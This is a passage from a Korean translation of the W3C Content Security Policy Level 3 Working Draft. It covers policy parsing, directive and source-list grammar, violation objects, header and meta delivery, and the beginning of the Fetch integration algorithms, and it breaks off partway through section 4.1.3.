.

콘텐츠 보안 정책(Content Security Policy) 3단계

W3C 작업 초안,

이 문서에 대한 더 자세한 정보
이 버전:
https://www.w3.org/TR/2025/WD-CSP3-20250711/
최신 공개 버전:
https://www.w3.org/TR/CSP3/
편집자 초안:
https://w3c.github.io/webappsec-csp/
이전 버전:
역사:
https://www.w3.org/standards/history/CSP3/
피드백:
public-webappsec@w3.org 제목에 “[CSP3] … 메시지 주제 …” 포함 (아카이브)
깃허브
편집자:
(Google Inc.)
(Google Inc.)
참여:
이슈 등록 (열린 이슈)
테스트:
web-platform-tests content-security-policy/ (진행 중인 작업)

요약

이 문서는 웹 개발자가 특정 페이지에서 가져오거나 실행할 수 있는 리소스와 여러 보안 관련 정책 결정을 제어할 수 있는 메커니즘을 정의합니다.

이 문서의 상태

이 섹션은 문서가 공개된 시점의 상태를 설명합니다. 현재 W3C 발행물 목록과 이 기술 보고서의 최신 개정판은 W3C 기술 보고서 색인에서 확인할 수 있습니다.

이 문서는 웹 애플리케이션 보안 작업 그룹(Web Application Security Working Group)에서 권고안 트랙을 사용해 작업 초안(Working Draft)으로 발행되었습니다. 이 문서는 W3C 권고안이 될 예정입니다.

(아카이브) 공개 메일링 리스트 public-webappsec@w3.org (자세한 안내는 instructions 참조) 를 통해 이 명세서에 대해 논의하는 것이 권장됩니다. 이메일을 보낼 때는 제목에 “CSP3”를 포함해 주시기 바랍니다. 예시: “[CSP3] …의견 요약…

Working Draft로 발행된다고 해서 W3C 및 회원의 승인이나 지지를 의미하지는 않습니다. 이 문서는 초안이며 언제든 업데이트, 교체, 폐기될 수 있습니다. 작업 중인 문서 외의 용도로 인용하는 것은 부적절합니다.

이 문서는 웹 애플리케이션 보안 작업 그룹에서 작성되었습니다.

이 문서는 W3C 특허 정책에 따라 운영되는 그룹에서 작성되었습니다. W3C는 그룹의 결과물과 관련해 제출된 공개 특허 공개 목록을 유지합니다; 해당 페이지에는 특허 공개 방법 안내도 포함되어 있습니다. 어떤 개인이 필수 청구(essential claim)를 포함한다고 생각하는 특허에 대해 실제로 알고 있다면 W3C 특허 정책 6항에 따라 정보를 공개해야 합니다.

이 문서는 2023년 11월 3일 W3C 프로세스 문서에 따라 관리됩니다.

다음 기능들은 위험에 처했으며, CR 기간 동안 삭제될 수 있습니다:

“위험(at-risk)”은 W3C 프로세스 용어이며, 해당 기능이 실제로 삭제되거나 지연될 위험이 있다는 의미는 아닙니다. 이는 WG가 해당 기능이 상호 운용 가능한 구현에 어려움이 있을 수 있다고 판단할 때 기능을 표시하는 것으로, 이 단계를 통해 WG가 제안 권고(Proposed Rec) 단계로 전환할 때 기능을 삭제할 수 있게 해줍니다. 먼저 기능 없이 새로운 후보 권고를 발행하지 않아도 됩니다.

1. 소개

이 섹션은 규범적이지 않습니다.

이 문서는 콘텐츠 보안 정책(Content Security Policy)(CSP)을 정의합니다. CSP는 개발자가 다양한 방식으로 애플리케이션을 잠글 수 있게 하여, 크로스 사이트 스크립팅과 같은 콘텐츠 인젝션 취약점 위험을 완화하고, 애플리케이션의 실행 권한을 줄일 수 있는 도구입니다.

CSP는 콘텐츠 인젝션 취약점에 대한 1차 방어선으로 설계된 것이 아닙니다. 대신 CSP는 심층 방어(defense-in-depth)로 활용되는 것이 가장 좋습니다. 악의적인 인젝션이 끼칠 수 있는 피해를 줄일 수 있지만, 신중한 입력 검증 및 출력 인코딩을 대체할 수 없습니다.

이 문서는 콘텐츠 보안 정책 2단계(Level 2)의 발전형으로, 한편으로는 CSP, HTML, Fetch 간의 상호작용을 더 명확하게 설명하고, 다른 한편으로는 모듈식 확장성을 위한 명확한 연결 고리를 제공합니다. 이상적으로는 새로운 기능을 구축할 수 있는 안정적인 핵심을 형성하는 것이 목표입니다.

1.1. 예시

1.1.1. 실행 제어

MegaCorp Inc의 개발자들은 크로스 사이트 스크립팅 공격으로부터 자신들을 보호하고 싶어합니다. 그들은 신뢰하는 CDN만이 스크립트를 로드 및 실행할 수 있도록 보장함으로써 스크립트 인젝션 위험을 줄일 수 있습니다. 또한, 페이지 컨텍스트에서 플러그인이 실행되지 않도록 하고자 합니다. 다음 정책이 그 효과를 갖습니다:
Content-Security-Policy: script-src https://cdn.example.com/scripts/; object-src 'none'

1.2. 목표

콘텐츠 보안 정책은 몇 가지 관련된 목적을 달성하는 것을 목표로 합니다:

  1. 콘텐츠 인젝션 공격의 위험을 완화하기 위해 개발자에게 다음에 대한 세밀한 제어권을 제공합니다.

    • 특정 Document 또는 Worker를 대신해 요청(그리고 이후 삽입 또는 실행)될 수 있는 리소스

    • 인라인 스크립트 실행

    • 동적 코드 실행(eval() 및 유사 구문)

    • 인라인 스타일 적용

  2. 악성 컨텍스트에 리소스가 삽입되어야만 공격이 가능한 경우(예: [TIMING]에서 설명된 "픽셀 퍼펙트" 공격) 위험을 완화하기 위해, 개발자에게 특정 리소스를 삽입할 수 있는 출처(origin)를 세밀하게 제어할 수 있게 합니다.

  3. 개발자가 애플리케이션의 권한을 낮출 수 있는 정책 프레임워크 제공

  4. 개발자가 실제 환경에서 취약점이 악용되는 것을 감지할 수 있도록 하는 보고 메커니즘 제공

1.3. 레벨 2와의 차이점

이 문서는 콘텐츠 보안 정책 2단계 명세 [CSP2]의 발전형을 기술합니다. 주요 변경 사항은 다음과 같습니다:

  1. 명세가 [FETCH] 명세를 바탕으로 처음부터 다시 작성되어, CSP의 요구사항과 제약을 다른 명세(특히 서비스 워커)와 더 쉽게 통합할 수 있게 하였습니다.

  2. child-src 모델이 크게 변경되었습니다:

    1. 2단계에서 폐기되었던 frame-src 지시어가 폐기 취소(undeprecated)되었으나, 존재하지 않을 경우 계속해서 child-src에 위임하며(그 역시 default-src로 위임),

    2. worker-src 지시어가 추가되어, 존재하지 않으면 child-src에, 그 역시 script-src와 최종적으로 default-src에 위임합니다.

  3. URL 매칭 알고리즘이 이제 보안이 약한(비보안) scheme 및 포트를 보안 버전과 일치하도록 처리합니다. 즉, http://example.com:80 소스 식(expression)은 http://example.com:80https://example.com:443 모두와 일치합니다.

    마찬가지로 'self'는 이제 페이지의 origin이 http이더라도 https:wss: 변형과도 일치합니다.

  4. 인라인 스크립트 또는 스타일에서 발생한 위반 보고서에는 이제 차단된 리소스로 "inline"이 보고됩니다. 마찬가지로, 차단된 eval() 실행에서도 "eval"이 차단된 리소스로 보고됩니다.

  5. manifest-src 지시어가 추가되었습니다.

  6. report-uri 지시어는 새로운 report-to 지시어로 대체되어, [REPORTING]을 인프라스트럭처로 사용합니다.

  7. 'strict-dynamic' 소스 식(expression)은 이제 페이지에서 실행되는 스크립트가 파서에 의해 삽입되지 않은(non-"parser-inserted") script 요소를 통해 추가 스크립트를 로드할 수 있게 허용합니다. 상세 내용은 § 8.2 "'strict-dynamic'" 사용에 있습니다.

  8. 'unsafe-hashes' 소스 식(expression)은 이제 이벤트 핸들러, 스타일 속성, javascript: 내비게이션 대상에 대해 해시를 매치할 수 있습니다. 상세 내용은 § 8.3 "'unsafe-hashes'" 사용에서 확인할 수 있습니다.

  9. 소스 식(expression) 매칭은 이제 HTTP(S) scheme이 아닌 모든 scheme의 명시적 존재를 요구하도록 변경되었습니다. 단, 보호 대상 리소스와 동일한 scheme일 때는 예외이며, § 6.7.2.8 url이 origin의 redirect count와 함께 expression과 일치하는지 여부에서 설명합니다.

  10. 해시 기반 소스 식(expression)은 이제 요청을 트리거하는 script 요소가 현재 정책에 나열된 무결성 메타데이터 집합을 명시한 경우 외부 스크립트를 매치할 수 있습니다. 상세 내용은 § 8.4 해시를 통한 외부 JavaScript 허용에서 확인할 수 있습니다.

  11. 인라인 위반에 대해 생성된 보고서에는 해당 지시어에 'report-sample' 식(expression)이 포함되어 있으면 sample 속성이 포함됩니다.

2. 프레임워크

2.1. 인프라스트럭처

이 문서는 [RFC5234]에 정의된 대로 ABNF 문법을 사용하여 구문을 명세합니다. 또한 #rule ABNF 확장( RFC9110 5.6.1절 )을 기반으로 하며, OWS 대신 optional-ascii-whitespace로 대체하는 수정 사항이 있습니다. 즉, 이 문서에서 사용하는 #rule은 다음과 같이 정의됩니다:

1#element => element *( optional-ascii-whitespace "," optional-ascii-whitespace element )

그리고 n >= 1, m > 1인 경우:

<n>#<m>element => element <n-1>*<m-1>( optional-ascii-whitespace "," optional-ascii-whitespace element )

이 문서는 알고리즘 및 본문에서 사용되는 여러 기본 개념에 대해 [INFRA] 표준을 참조합니다.

다음 정의들은 이 문서의 다른 정의의 가독성을 높이기 위해 사용됩니다.

optional-ascii-whitespace = *( %x09 / %x0A / %x0C / %x0D / %x20 )
required-ascii-whitespace = 1*( %x09 / %x0A / %x0C / %x0D / %x20 )
; 이 생성 규칙은 ASCII whitespace 정의와 일치하며 INFRA 표준에 따릅니다.

2.2. 정책

정책(policy)은 허용 및 제한되는 동작을 정의하며, Document, WorkerGlobalScope, 또는 WorkletGlobalScope에 적용될 수 있습니다.

각 정책에는 지시어 집합(directive set)이 있으며, 적용 시 정책의 의미를 정의하는 순서가 있는 집합지시어(directives)로 구성됩니다.

각 정책에는 상태(disposition)가 연결되며, "enforce" 또는 "report" 중 하나입니다.

각 정책에는 소스(source)가 연결되며, "header" 또는 "meta" 중 하나입니다.

각 정책에는 self-origin이 연결되어 있으며, 이는 origin으로, 'self' 키워드와 매칭할 때 사용됩니다.

참고: 이는 정책을 상속받았으나 로컬 scheme 문서/워커가 불투명 origin을 가지는 경우 'self' 검사를 용이하게 하기 위함입니다. 대부분의 경우 이는 환경 설정 객체(environment settings object)origin이 됩니다.

하나의 리소스에 여러 정책(policy)이 적용될 수 있으며, 이들은 리스트(list)로 모아져 CSP 리스트라 불립니다.

CSP 리스트헤더로 전달된 Content Security Policy를 포함한다고 하며, 포함정책source가 "header"인 경우를 말합니다.

직렬화된 CSP(serialized CSP)ASCII 문자열로, 세미콜론으로 구분된 직렬화된 지시어들의 시퀀스로 구성되며, 아래 ABNF 문법을 따릅니다([RFC5234]):

serialized-policy =
    serialized-directive *( optional-ascii-whitespace ";" [ optional-ascii-whitespace serialized-directive ] )

직렬화된 CSP 리스트(serialized CSP list)ASCII 문자열로, 아래 ABNF 문법에 따라 콤마로 구분된 직렬화된 CSP 시퀀스입니다([RFC5234]):

serialized-policy-list = 1#serialized-policy
                    ; '#' 규칙은 RFC 9110 5.6.1절에 정의됨
                    ; 단, 이 문서 2.1절의 수정사항을 포함함.

2.2.1. 직렬화된 CSP 파싱

직렬화된 CSP를 파싱한다: 바이트 시퀀스(byte sequence) 또는 문자열(string) serialized, source source, disposition disposition이 주어지면, 다음 단계를 실행한다.

이 알고리즘은 Content Security Policy 객체를 반환한다. 만약 serialized를 파싱할 수 없는 경우, 객체의 지시어 집합은 비어 있다.

  1. serialized바이트 시퀀스(byte sequence)라면, 동형 디코딩(isomorphic decoding) 결과로 serialized를 설정한다.

  2. policy를, 빈 지시어 집합, sourcesource, dispositiondisposition으로 하는 새로운 policy로 한다.

  3. serialized를 U+003B 세미콜론 문자(;) 기준으로 strictly splitting한 각각의 token에 대해:

    1. 앞뒤 ASCII whitespace를 제거한다 token에서.

    2. token이 빈 문자열이거나 tokenASCII 문자열이 아니면, continue한다.

    3. directive name을, token에서 ASCII whitespace가 아닌 코드 포인트를 수집(collecting a sequence of code points)한 결과로 한다.

    4. directive nameASCII 소문자(ascii lowercase)로 변환한다.

      참고: 지시어 이름은 대소문자를 구분하지 않으므로 script-SRC 'none'ScRiPt-sRc 'none'은 동일하다.

    5. policy지시어 집합지시어namedirective name인 것이 있으면, continue한다.

      참고: 이 경우 사용자 에이전트는 중복 지시어가 무시되었음을 개발자에게 알리는 것이 좋다. 예를 들어 콘솔 경고가 적절할 수 있다.

    6. directive valuetoken을 ASCII whitespace로 분할한 결과로 한다.

    7. directive를, 지시어namedirective name, valuedirective value인 새로운 객체로 한다.

    8. Append directivepolicy지시어 집합에 추가한다.

  4. policy를 반환한다.

2.2.2. response의 콘텐츠 보안 정책 파싱

response의 콘텐츠 보안 정책을 파싱한다response response가 주어졌을 때 다음 단계를 실행한다.

이 알고리즘은 리스트(list) 형태의 콘텐츠 보안 정책 객체(Content Security Policy objects)를 반환한다. 정책을 파싱할 수 없는 경우, 반환된 리스트는 비어 있다.

  1. policies를 빈 리스트로 한다.

  2. 각각의 token에 대해, extracting header list valuesContent-Security-Policyresponseheader list에 대해 실행하여 얻는다:

    1. policy를, 파싱 token, source는 "header", disposition은 "enforce"로 한다.

    2. policy지시어 집합이 비어 있지 않다면, policypolicies에 추가한다.

  3. 각각의 token에 대해, extracting header list valuesContent-Security-Policy-Report-Onlyresponseheader list에 대해 실행하여 얻는다:

    1. policy를, 파싱 token, source는 "header", disposition은 "report"로 한다.

    2. policy지시어 집합이 비어 있지 않다면, policypolicies에 추가한다.

  4. policies의 각각의 policy에 대해:

    1. policyself-originresponseurlorigin으로 설정한다.

  5. policies를 반환한다.

참고: response의 콘텐츠 보안 정책을 파싱할 때, 결과 policies에 항목이 하나 이상 포함된다면, 사용자 에이전트는 policies에 플래그를 보관하여 헤더로 전달된 Content Security Policy 포함 여부 알고리즘을 최적화할 수 있다.

2.3. 지시어

정책(policy)순서가 있는 집합 형태의 지시어(directives)(지시어 집합)을 포함하며, 각 지시어는 특정 동작을 제어한다. 이 문서에서 정의된 지시어들은 § 6 콘텐츠 보안 정책 지시어에서 자세히 설명한다.

지시어이름(name) / 값(value) 쌍이다. 이름(name)은 비어 있지 않은 문자열(string)이고, 값(value)은 비어 있지 않은 집합(set) 형태의 문자열(string)이다. 값(value)비어 있을 수 있다.

직렬화된 지시어(serialized directive)ASCII 문자열로, 하나 이상의 공백으로 구분된 토큰으로 구성되며, 아래 ABNF [RFC5234]를 따른다:

serialized-directive = directive-name [ required-ascii-whitespace directive-value ]
directive-name       = 1*( ALPHA / DIGIT / "-" )
directive-value      = *( required-ascii-whitespace / ( %x21-%x2B / %x2D-%x3A / %x3C-%x7E ) )
                       ; 지시어 값은 공백 및 VCHAR 문자(;"와 "," 제외)를 포함할 수 있음.
                       ; 위 정의의 두 번째 절반은 ";"와 ","(%x3B, %x2C 제외)인 모든 VCHAR 문자(%x21-%x7E)임.

; ALPHA, DIGIT, VCHAR는 RFC 5234 부록 B.1에 정의됨.

지시어에는 여러 연관 알고리즘이 존재한다:

  1. 사전 요청 검사(pre-request check): requestpolicy를 인자로 받아, § 4.1.2 Content Security Policy로 요청 차단 여부에서 실행한다. 별도 명시 없으면 "Allowed"를 반환한다.

  2. 사후 요청 검사(post-request check): request, response, policy를 인자로 받아, § 4.1.3 Content Security Policy로 요청에 대한 응답 차단 여부에서 실행한다. 별도 명시 없으면 "Allowed"를 반환한다.

  3. 인라인 검사(inline check): Element, 타입 문자열, policy, 소스 문자열을 인자로 받아 § 4.2.3 Content Security Policy로 요소의 인라인 타입 동작 차단 여부§ 4.2.4 Content Security Policy로 내비게이션 요청 타입 차단 여부javascript: 요청에서 실행한다. 별도 명시 없으면 "Allowed"를 반환한다.

  4. 초기화(initialization): Document 또는 global object, policy를 인자로 받아 § 4.2.1 문서의 CSP 초기화 실행§ 4.2.6 전역 객체의 CSP 초기화 실행에서 실행한다. 별도 명시 없으면 아무 효과 없이 "Allowed"를 반환한다.

  5. 내비게이션 전 검사(pre-navigation check): request, 내비게이션 타입 문자열("form-submission" 또는 "other"), policy를 인자로 받아, § 4.2.4 Content Security Policy로 내비게이션 요청 타입 차단 여부에서 실행한다. 별도 명시 없으면 "Allowed"를 반환한다.

  6. 내비게이션 응답 검사(navigation response check): request, 내비게이션 타입 문자열("form-submission" 또는 "other"), response, navigable, 검사 타입 문자열("source" 또는 "response"), policy를 인자로 받아, § 4.2.5 Content Security Policy로 대상의 내비게이션 요청 타입에 대한 응답 차단 여부에서 실행한다. 별도 명시 없으면 "Allowed"를 반환한다.

  7. webrtc 사전 연결 검사(webrtc pre-connect check): policy를 인자로 받아, § 4.3.1 global에 대해 RTC 연결 차단 여부에서 실행한다. 별도 명시 없으면 "Allowed"를 반환한다.

2.3.1. 소스 리스트

많은 지시어값(value)소스 리스트(source lists)로, 집합(set) 형태의 문자열(string)로, 가져오거나 삽입/실행할 수 있는 콘텐츠를 식별한다. 각 문자열(string)은 다음 유형의 소스 식(source expression) 중 하나를 나타낸다:

  1. 'none''self'와 같은 키워드(각각 아무것도 매치하지 않거나 현재 URL의 origin과 매치)

  2. https://example.com/path/to/file.js와 같은 직렬화된 URL(특정 파일과 매치) 또는 https://example.com/(해당 origin의 모든 것과 매치)

  3. https:와 같은 scheme(지정된 scheme을 가진 모든 리소스와 매치)

  4. example.com과 같은 호스트(해당 호스트의 모든 리소스와 매치, scheme 관계 없음) 또는 *.example.com(서브도메인 및 그 이하 모두 매치)

  5. 'nonce-ch4hvvbHDpv7xCSvXCs3BrNggHdTzxUA'와 같은 nonce(페이지의 특정 요소와 매치)

  6. 'sha256-abcd...'와 같은 digest(페이지의 특정 요소와 매치)

직렬화된 소스 리스트(serialized source list)ASCII 문자열로, 공백으로 구분된 소스 식(source expressions) 시퀀스로 구성되며, 아래 ABNF 문법([RFC5234])을 따른다:

serialized-source-list = ( source-expression *( required-ascii-whitespace source-expression ) ) / "'none'"
source-expression      = scheme-source / host-source / keyword-source
                         / nonce-source / hash-source

; Scheme 예시: "https:" / "custom-scheme:" / "another.custom-scheme:"
scheme-source = scheme-part ":"

; Host 예시: "example.com" / "*.example.com" / "https://*.example.com:12/path/to/file.js"
host-source = [ scheme-part "://" ] host-part [ ":" port-part ] [ path-part ]
scheme-part = scheme
              ; scheme는 RFC 3986 3.1절에 정의됨.
host-part   = "*" / [ "*." ] 1*host-char *( "." 1*host-char ) [ "." ]
host-char   = ALPHA / DIGIT / "-"
port-part   = 1*DIGIT / "*"
path-part   = path-absolute (";" 또는 "," 제외)
              ; path-absolute는 RFC 3986 3.3절에 정의됨.

; 키워드 예시:
keyword-source = "'self'" / "'unsafe-inline'" / "'unsafe-eval'"
                 / "'strict-dynamic'" / "'unsafe-hashes'"
                 / "'report-sample'" / "'unsafe-allow-redirects'"
                 / "'wasm-unsafe-eval'" / "'trusted-types-eval'"
                 / "'report-sha256'" / "'report-sha384'"
                 / "'report-sha512'"

ISSUE: Bikeshed unsafe-allow-redirects.

; Nonce 예시: 'nonce-[nonce goes here]'
nonce-source  = "'nonce-" base64-value "'"
base64-value  = 1*( ALPHA / DIGIT / "+" / "/" / "-" / "_" )*2( "=" )

; Digest 예시: 'sha256-[digest goes here]'
hash-source    = "'" hash-algorithm "-" base64-value "'"
hash-algorithm = "sha256" / "sha384" / "sha512"

host-char 생성 규칙은 의도적으로 ASCII 문자만 포함한다. 국제화 도메인 이름은 직렬화된 CSP에 직접 입력할 수 없으며 반드시 Punycode로 인코딩해야 한다([RFC3492]). 예를 들어, üüüüüü.de 도메인은 반드시 xn--tdaaaaaa.de로 표현해야 한다.

참고: IP 주소도 위 문법에 매치되지만, 실제로 127.0.0.1만이 소스 식에서 URL과 매치된다(자세한 내용은 § 6.7.2.7 url이 origin의 redirect count와 함께 source list와 매치되는지 확인 참조). IP 주소의 보안 특성은 의심스럽기 때문에, 작성자는 가능하면 호스트명을 사용할 것을 권장한다.

참고: base64-value 문법은 base64base64url 인코딩 모두 허용한다. 이 인코딩들은 hash-source 값 처리 시 동등하게 취급된다. 단, nonce는 엄격한 문자열 매치이며, base64-value 문법은 사용 가능한 문자를 제한하고 서버 운영자의 복잡성을 줄이기 위한 것이다(인코딩 등). 하지만 사용자 에이전트는 nonce 값의 실제 값에 관심이 없으며, nonce-source 값에 대해 어떠한 디코딩도 수행하지 않는다.

2.4. 위반

위반(violation)정책(policy) 객체 집합에 반하는 동작 또는 리소스를 나타내며, 이는 전역 객체(global object)에 연결된다.

위반에는 전역 객체(global object)가 있으며, 위반된 전역 객체를 나타낸다.

위반에는 url이 있으며, 이는 전역 객체URL이다.

위반에는 상태(status)가 있으며, 이는 해당 전역 객체가 생성된 리소스의 HTTP 상태 코드를 나타내는 0 이상의 정수이다.

위반에는 리소스(resource)가 있으며, 값은 null, "inline", "eval", "wasm-eval", "trusted-types-policy", "trusted-types-sink" 또는 URL이다. 정책을 위반한 리소스를 나타낸다.

참고: 위반리소스(resource) 값이 null인 것은 해당 위반이 채워지는 동안에만 허용된다. 위반이 보고되고 리소스차단된 URI 획득에 사용될 때는, 위반리소스URL 또는 허용된 문자열 중 하나로 반드시 채워져 있어야 한다.

위반에는 referrer가 있으며, 값은 null 또는 URL이다. 이는 정책을 위반한 리소스의 referrer를 나타낸다.

위반에는 정책(policy)이 있으며, 이는 위반된 정책이다.

위반에는 상태(disposition)가 있으며, 이는 위반된 정책의 상태 값이다.

위반에는 유효 지시어(effective directive)가 있으며, 이는 위반을 발생시킨 지시어를 나타내는 비어 있지 않은 문자열이다.

위반에는 소스 파일(source file)이 있으며, 값은 null 또는 URL이다.

위반에는 행 번호(line number)가 있으며, 0 이상의 정수이다.

위반에는 열 번호(column number)가 있으며, 0 이상의 정수이다.

위반에는 요소(element)가 있으며, 값은 null 또는 element이다.

위반에는 샘플(sample)이 있으며, 문자열이다. 명시적 기술 없을 경우 빈 문자열이다.

참고: 위반샘플(sample)에는 위반을 일으킨 인라인 스크립트, 이벤트 핸들러, 스타일의 앞 40자가 채워진다. 외부 파일로부터 발생한 위반에는 샘플이 포함되지 않는다.

2.4.1. global, policy, directive에 대한 위반 객체 생성

전역 객체(global object) global, 정책(policy) policy, 문자열(string) directive가 주어졌을 때, 다음 알고리즘은 새로운 위반 객체를 생성하고, 초기 데이터를 채운다:

  1. violation을, 위반 객체로 하며, 전역 객체(global object)global, 정책(policy)policy, 유효 지시어(effective directive)directive, 리소스(resource)는 null로 한다.

  2. 사용자 에이전트가 현재 스크립트를 실행 중이며, global에서 소스 파일의 URL, 행 번호, 열 번호를 추출 가능하다면, violation소스 파일(source file), 행 번호(line number), 열 번호(column number)를 해당 값으로 설정한다.

    이 부분이 어디에 명세되어 있는가? [ECMA262]에서 유용한 부분을 찾지 못했다.

    참고: 사용자 에이전트는 소스 파일(source file)이 페이지에서 요청된 URL(리디렉션 이전)임을 보장해야 한다. 불가능하다면, 사용자 에이전트는 의도치 않은 정보 유출 방지를 위해 해당 URL을 origin으로 축약해야 한다.

  3. globalWindow 객체라면, violationreferrerglobaldocumentreferrer로 설정한다.

  4. violation상태(status)를 해당 violation전역 객체(global object)와 연결된 리소스의 HTTP 상태 코드로 설정한다.

    정확히 어떻게 상태 코드를 얻는가? 실제로 어디에도 저장되어 있지 않다.

  5. violation을 반환한다.

2.4.2. request, policy에 대한 위반 객체 생성

request request, policy policy가 주어졌을 때, 다음 알고리즘은 새로운 위반 객체를 생성하고 초기 데이터를 채운다:

  1. directive§ 6.8.1 요청에 대한 유효 지시어 획득request에 대해 실행한 결과로 한다.

  2. violation§ 2.4.1 global, policy, directive에 대한 위반 객체 생성requestclient전역 객체(global object), policy, directive에 대해 실행한 결과로 한다.

  3. violation리소스(resource)requesturl로 설정한다.

    참고: requesturl을 사용하며, 현재 url(current url)은 사용하지 않는다. 후자는 리디렉션 대상에 대한 정보를 포함할 수 있는데, 페이지에 노출되어서는 안 된다.

  4. violation을 반환한다.

3. 정책 전달

서버는 특정 정책리소스 표현에 대해 HTTP 응답 헤더 필드로 선언할 수 있으며, 그 값은 직렬화된 CSP입니다. 이 메커니즘의 자세한 내용은 § 3.1 Content-Security-Policy HTTP 응답 헤더 필드§ 3.2 Content-Security-Policy-Report-Only HTTP 응답 헤더 필드에 정의되어 있으며, Fetch 및 HTML과의 통합은 § 4.1 Fetch와의 통합, § 4.2 HTML과의 통합에서 설명합니다.

정책은 HTML 문서 내에서 meta 요소의 http-equiv 속성을 통해 인라인으로 선언될 수도 있습니다. 이 방법은 § 3.3 <meta> 요소에서 설명합니다.

3.1. Content-Security-Policy HTTP 응답 헤더 필드

Content-Security-Policy HTTP 응답 헤더 필드는 서버가 클라이언트에 정책을 전달하는 권장 메커니즘입니다. 헤더의 값은 다음 ABNF [RFC5234]로 표현됩니다:

Content-Security-Policy = 1#serialized-policy
                    ; '#' 규칙은 RFC 9110 5.6.1절에 정의됨
                    ; 단, 본 문서 2.1절의 수정사항을 포함함.
Content-Security-Policy: script-src 'self';
                         report-to csp-reporting-endpoint

서버는 동일한 리소스의 여러 표현에 대해 서로 다른 Content-Security-Policy 헤더 값을 보낼 수 있습니다.

사용자 에이전트가 Content-Security-Policy 헤더 필드를 수신하면, 파싱강제 적용(enforce)을 각 직렬화된 CSP에 대해 수행해야 하며, 이는 § 4.1 Fetch와의 통합, § 4.2 HTML과의 통합에 설명되어 있습니다.

3.2. Content-Security-Policy-Report-Only HTTP 응답 헤더 필드

Content-Security-Policy-Report-Only HTTP 응답 헤더 필드는 웹 개발자가 정책을 시행하지 않고 모니터링만 하면서 실험할 수 있게 해줍니다. 헤더의 값은 다음 ABNF [RFC5234]로 표현됩니다:

Content-Security-Policy-Report-Only = 1#serialized-policy
                    ; '#' 규칙은 RFC 9110 5.6.1절에 정의됨
                    ; 단, 본 문서 2.1절의 수정사항을 포함함.

이 헤더 필드는 개발자가 보안 정책을 점진적으로 구축할 수 있도록 해줍니다. 사이트의 동작을 예측해 report-only 정책을 배포한 뒤, 위반 보고를 관찰하고, 그 동작에 확신이 생기면 강제 정책으로 전환할 수 있습니다.

Content-Security-Policy-Report-Only: script-src 'self';
                                     report-to csp-reporting-endpoint

서버는 동일한 리소스의 여러 표현에 대해 서로 다른 Content-Security-Policy-Report-Only 헤더 값을 보낼 수 있습니다.

사용자 에이전트가 Content-Security-Policy-Report-Only 헤더 필드를 수신하면, 각 직렬화된 CSP파싱하고 모니터링(monitor)해야 하며, 이는 § 4.1 Fetch와의 통합, § 4.2 HTML과의 통합에 설명되어 있습니다.

참고: Content-Security-Policy-Report-Only 헤더는 meta 요소 안에서는 지원되지 않습니다.

3.3. <meta> 요소

Document 는 하나 이상의 HTML meta 요소를 통해 정책을 전달할 수 있습니다. 이때 http-equiv 속성이 "Content-Security-Policy"와 ASCII 대소문자 구분 없이 일치해야 합니다. 예시:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'">

구현 세부 사항은 HTML의 Content Security Policy state http-equiv 처리 명령([HTML])에서 확인할 수 있습니다.

참고: Content-Security-Policy-Report-Only 헤더는 meta 요소에서는 지원되지 않습니다. report-uri, frame-ancestors, sandbox 지시어 역시 지원되지 않습니다.

작성자는 반드시 meta 요소를 문서의 가능한 한 앞부분에 배치하는 것이 좋습니다. meta 요소의 정책은 그보다 앞서 있는 콘텐츠에는 적용되지 않습니다. 특히 Link HTTP 응답 헤더 필드로 가져오거나 프리페치된 리소스, link, script 요소로 가져오거나 프리페치된 리소스가 meta-정책보다 앞에 위치하면 차단되지 않습니다.

참고: meta 요소로 지정된 정책은 보호되는 리소스에 대해 활성화된 다른 정책과 함께 적용됩니다. 위치와 관계없이 모든 정책이 함께 적용됩니다. 여러 정책을 적용하는 영향은 § 8.1 여러 정책의 영향에서 설명합니다.

참고: content 속성이 meta 요소가 파싱된 이후에 수정되면, 해당 수정은 무시됩니다.

4. 통합

이 섹션은 규범적이지 않습니다.

이 문서는 다른 명세에서 기능을 구현하기 위해 사용하는 일련의 알고리즘을 정의합니다. 이러한 통합은 명확성을 위해 여기에 개략적으로 설명되어 있지만, 구체적인 정보는 외부 문서(현행 표준)를 참조해야 합니다.

4.1. Fetch와의 통합

여러 지시어가 다양한 방식으로 리소스 로딩을 제어합니다. 이 명세는 Fetch가 특정 request를 차단하거나 허용할지, 특정 response네트워크 오류로 대체할지 결정할 수 있는 알고리즘을 제공합니다.

  1. § 4.1.2 Content Security Policy로 요청 차단 여부Main Fetch 알고리즘의 2.4단계에서 호출됩니다. 이를 통해 지시어의 사전 요청 검사가 네트워크에 도달하기 전에 각 request 및 리디렉션 시에도 실행됩니다.

  2. § 4.1.3 Content Security Policy로 요청에 대한 응답 차단 여부Main Fetch 알고리즘의 11단계에서 호출됩니다. 이를 통해 지시어의 사후 요청 검사가 네트워크나 서비스 워커에서 전달된 response에 대해 실행됩니다.

4.1.1. request에 대한 Content Security Policy 위반 보고

request request가 주어지면, 이 알고리즘은 policy containerCSP 리스트의 "report only" 정책을 기반으로 위반을 보고합니다.

  1. CSP listrequestpolicy containerCSP 리스트로 한다.

  2. 각각의 policy에 대해 CSP list에서:

    1. policy상태(disposition)가 "enforce"이면, 다음 policy로 넘어간다.

    2. violates§ 6.7.2.1 요청이 정책을 위반하는지 확인request, policy에 대해 실행한 결과로 한다.

    3. violates가 "Does Not Violate"가 아니면, § 5.5 위반 보고§ 2.4.2 요청 및 정책에 대한 위반 객체 생성의 결과(request, policy)에 대해 실행한다.

4.1.2. request가 Content Security Policy에 의해 차단되어야 하는지 여부

request request가 주어지면, 이 알고리즘은 Blocked 또는 Allowed를 반환하며, requestpolicy containerCSP 리스트에 기반해 위반을 보고합니다.

  1. CSP listrequestpolicy containerCSP 리스트로 한다.

  2. result를 "Allowed"로 한다.

  3. 각각의 policy에 대해 CSP list에서:

    1. policy상태(disposition)가 "report"이면, 다음 policy로 넘어간다.

    2. violates§ 6.7.2.1 요청이 정책을 위반하는지 확인request, policy에 대해 실행한 결과로 한다.

    3. violates가 "Does Not Violate"가 아니면:

      1. § 5.5 위반 보고§ 2.4.2 요청 및 정책에 대한 위반 객체 생성의 결과(request, policy)에 대해 실행한다.

      2. result를 "Blocked"로 설정한다.

  4. result를 반환한다.

4.1.3. request에 대한 response가 Content Security Policy에 의해 차단되어야 하는지 여부

response responserequest request가 주어지면, 이 알고리즘은 Blocked 또는 Allowed를 반환하며, requestpolicy containerCSP 리스트에 기반해 위반을 보고합니다.

  1. CSP listrequestpolicy containerCSP 리스트로 한다.

  2. result를 "Allowed"로 한다.

  3. 각각의 policy에 대해 CSP list에서:

